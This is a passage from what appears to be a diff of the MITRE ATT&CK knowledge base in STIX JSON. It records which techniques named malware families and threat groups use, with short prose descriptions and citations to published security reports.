"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--defc2dac-b7b7-4f44-b56a-405984ab5236", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "modified": "2019-06-24T19:15:06.500Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.", + "source_name": "S2 Grupo TrickBot June 2017", + "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf" + }, + { + "description": "Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018.", + "source_name": "Trend Micro Totbrick Oct 2016", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[NETEAGLE](https://attack.mitre.org/software/S0034) will decrypt resources it downloads with HTTP requests by using RC4 with the key \"ScoutEagle.\"", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--122e6f20-ab3b-4bf0-bef1-0372399bee7c", + "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) uses cmd.exe to execute scripts and commands on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--80c122f6-6aea-4e27-aff2-09467bc4a628", + "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "source_name": "Unit 42 QUADAGENT July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains the takeScreenShot (along with startTakeScreenShot and stopTakeScreenShot) functions to take screenshots using the CGGetActiveDisplayList, CGDisplayCreateImage, and NSImage:initWithCGImage methods.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c0223316-4b0b-461e-8947-01c0f5baeef2", + "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069", + "modified": "2019-07-26T23:07:21.042Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", + "source_name": "XAgentOSX 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[yty](https://attack.mitre.org/software/S0248) gathers the computer name, the serial number of the main disk volume, CPU information, Microsoft Windows version, and runs the command systeminfo.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--abf00a6a-7922-432c-95e0-6c44db2c20e3", + "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", + "modified": "2019-04-25T00:09:23.130Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ASERT Donot March 2018", + "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[WINDSHIELD](https://attack.mitre.org/software/S0155) can gather Registry values.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--47f611f4-b9f0-42ef-9629-ee4a56e737ed", + "source_ref": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "source_name": "FireEye APT32 May 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has run ipconfig /all on a victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--e0301b36-c339-49c5-b257-9ece19152922", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.135Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + }, + { + "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.", + "source_name": "Palo Alto OilRig Oct 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) logs key strokes for configured processes and sends them back to the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--82384148-90fd-4bfa-a734-e9c8b37b584f", + "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.", + "source_name": "Kaspersky Carbanak", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf" + }, + { + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "source_name": "FireEye CARBANAK June 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[JPIN](https://attack.mitre.org/software/S0201) checks for the presence of certain security-related processes and deletes its installer/uninstaller component if it identifies any of them.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--a6e883cf-6276-47c1-a4a3-be2756d510a2", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787", + "description": "[PsExec](https://attack.mitre.org/software/S0029), a tool that has been used by adversaries, writes programs to the ADMIN$ network share to execute commands on remote systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--27102940-8ec1-42ad-98e5-57dc24b572eb", + "source_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Russinovich, M. (2004, June 28). PsExec. Retrieved December 17, 2015.", + "source_name": "PsExec Russinovich", + "url": "http://windowsitpro.com/systems-management/psexec" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352", + "description": "[Wingbird](https://attack.mitre.org/software/S0176) drops a malicious file (sspisrv.dll) alongside a copy of lsass.exe, which is used to register a service that loads sspisrv.dll as a driver. The payload of the malicious driver (located in its entry-point function) is executed when loaded by lsass.exe before the spoofed service becomes unstable and crashes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--019eb3cf-35df-4109-a006-1b91331866c3", + "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.", + "source_name": "Microsoft SIR Vol 21", + "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf" + }, + { + "description": "Microsoft. (2017, November 9). Backdoor:Win32/Wingbird.A!dha. Retrieved November 27, 2017.", + "source_name": "Microsoft Wingbird Nov 2017", + "url": "https://www.microsoft.com/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Wingbird.A!dha" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) collects the OS version, system architecture, computer name, product ID, install date, and information on the keyboard mapping to determine the language used on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T17:59:44.450Z", + "id": "relationship--dac8dcfd-e7e7-4b41-b100-07f95f6b0ba9", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "modified": "2019-04-16T20:55:20.075Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Zeus Panda Nov 2017", + "description": "Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More" + }, + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has used HTTP and SMTP for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:44:04.934Z", + "id": "relationship--5e8fc958-6778-4c46-ae15-0d239309bc76", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "modified": "2019-04-16T14:30:35.289Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018.", + "source_name": "DigiTrust Agent Tesla Jan 2017", + "url": "https://www.digitrustgroup.com/agent-tesla-keylogger/" + }, + { + "description": "Zhang, X. (2017, June 28). In-Depth Analysis of A New Variant of .NET Malware AgentTesla. Retrieved November 5, 2018.", + "source_name": "Fortinet Agent Tesla June 2017", + "url": "https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "description": "[Remcos](https://attack.mitre.org/software/S0332) can capture data from the system\u2019s microphone.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:55:20.850Z", + "id": "relationship--ce85be06-0f74-480e-b55a-df92f6989902", + "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", + "modified": "2019-04-19T14:39:52.965Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018.", + "source_name": "Fortinet Remcos Feb 2017", + "url": "https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) can collect the computer name, RAM used, and operating system version from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:18:28.762Z", + "id": "relationship--62442f37-7a0e-4945-b498-2d02306e53c7", + "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "modified": "2019-06-04T19:40:43.576Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro DarkComet Sept 2014", + "description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET" + }, + { + "source_name": "Malwarebytes DarkComet March 2018", + "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Epic](https://attack.mitre.org/software/S0091) has a command to delete a file from the machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:55:47.945Z", + "id": "relationship--3464b769-7884-4721-8384-1771472f668d", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "modified": "2019-07-26T16:10:42.699Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla Aug 2014", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[NanoCore](https://attack.mitre.org/software/S0336) can perform keylogging on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T20:05:36.504Z", + "id": "relationship--a09b9e3f-96b8-4fde-9f7d-261b449cdabd", + "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", + "modified": "2019-04-17T20:47:23.869Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018.", + "source_name": "PaloAlto NanoCore Feb 2016", + "url": "https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[APT38](https://attack.mitre.org/groups/G0082) leveraged Sysmon to understand the processes, services in the organization.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:27:25.205Z", + "id": "relationship--f4d825cd-08d4-47ad-975c-37b886192e7c", + "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "modified": "2019-09-09T19:10:53.375Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "source_name": "FireEye APT38 Oct 2018", + "url": "https://content.fireeye.com/apt/rpt-apt38" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[SilverTerrier](https://attack.mitre.org/groups/G0083) uses SMTP, FTP, and HTTP for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:36:59.980Z", + "id": "relationship--5e7e3226-1583-48de-9376-946fa88b6d15", + "source_ref": "intrusion-set--76565741-3452-4069-ab08-80c0ea95bbeb", + "modified": "2019-04-12T16:33:51.171Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 SilverTerrier 2018", + "description": "Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018.", + "url": "https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[Micropsia](https://attack.mitre.org/software/S0339) collects the username from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:47:53.757Z", + "id": "relationship--693372c1-418e-45c3-9b0e-0c21d705d1d2", + "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", + "modified": "2019-04-17T22:05:05.847Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018.", + "source_name": "Talos Micropsia June 2017", + "url": "https://blog.talosintelligence.com/2017/06/palestine-delphi.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) collects information about the network including the IP address and DHCP server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:42:09.408Z", + "id": "relationship--75a8e452-5a08-45c8-b194-ace6788c3c4f", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "modified": "2019-01-30T13:42:09.408Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[APT18](https://attack.mitre.org/groups/G0026) uses HTTP and DNS for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T14:00:49.822Z", + "id": "relationship--d7d7b5e5-aceb-473b-aeaa-f1287d8d0542", + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "modified": "2019-05-30T18:05:32.753Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto DNS Requests May 2016", + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Seasalt](https://attack.mitre.org/software/S0345) obfuscates configuration data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:27:06.718Z", + "id": "relationship--82168e77-bbd9-4da4-b163-7f813df06426", + "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491", + "modified": "2019-02-12T21:28:19.580Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[OceanSalt](https://attack.mitre.org/software/S0346) can extract drive information from the endpoint and search files on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:43:19.382Z", + "id": "relationship--6c130c97-8623-4d14-829e-0e90dd0757a0", + "source_ref": "malware--288fa242-e894-4c7e-ac86-856deedf5cea", + "modified": "2019-02-12T21:14:11.181Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.", + "source_name": "McAfee Oceansalt Oct 2018", + "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) can collect the hostname, Microsoft Windows version, and processor architecture from a victim machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T16:39:54.305Z", + "id": "relationship--c50c585a-b5c4-41c7-91a2-b6bb14b7e1f0", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "modified": "2019-06-10T18:25:51.585Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) uses various techniques to bypass UAC.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:33:40.871Z", + "id": "relationship--80d612e4-8d4a-45f7-8c29-d44a1aae794c", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "modified": "2019-06-28T15:30:58.582Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "source_name": "ClearSky MuddyWater Nov 2018", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) sent spearphishing emails with malicious attachments that required users to click on an image in the document to drop the malware to disk.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:43:28.285Z", + "id": "relationship--e936d8c6-f069-49b1-8d4e-9ecafab2a576", + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "modified": "2019-01-31T18:48:52.178Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Securelist Darkhotel Aug 2015", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", + "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) has performed SQL injection attacks of extranet web servers to gain access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:02:59.371Z", + "id": "relationship--c893eaa3-de1e-47e9-a01b-5de2b54d00ab", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "modified": "2019-03-25T14:36:29.800Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "source_name": "McAfee Night Dragon", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Cannon](https://attack.mitre.org/software/S0351) can obtain a list of processes running on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:58:04.079Z", + "id": "relationship--11870221-f730-4844-a441-ac1e8d21bc4b", + "source_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d", + "modified": "2019-04-22T19:48:08.937Z", + "object_marking_refs": [ + 